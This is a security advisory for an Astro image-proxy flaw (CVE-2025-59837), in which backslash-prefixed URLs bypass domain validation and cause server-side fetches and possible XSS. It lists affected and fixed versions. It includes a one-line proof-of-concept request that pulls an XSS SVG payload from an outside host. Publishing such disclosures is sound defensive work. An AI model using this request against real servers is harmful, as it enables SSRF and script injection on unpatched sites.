All reports
High

Astro's bypass of image proxy domain validation leads to SSRF and potential XSS

Affected versions

Affected versions
>= 5.13.4, < 5.13.10
Fixed version
5.13.10

Exploitation

CVE-2025-59837

Probability of exploitation in the next 30 days: 0.35%

FIRST EPSS · 2026-11-20

Description

Summary

This is a patch bypass of CVE-2025-58179 in commit 9ecf359. The fix blocks http://, https:// and //, but can be bypassed using backslashes (\) - the endpoint still issues a server-side fetch.

PoC

https://astro.build/_image?href=\raw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg&f=svg

Links

Credits

  • everping
  • GeneralZero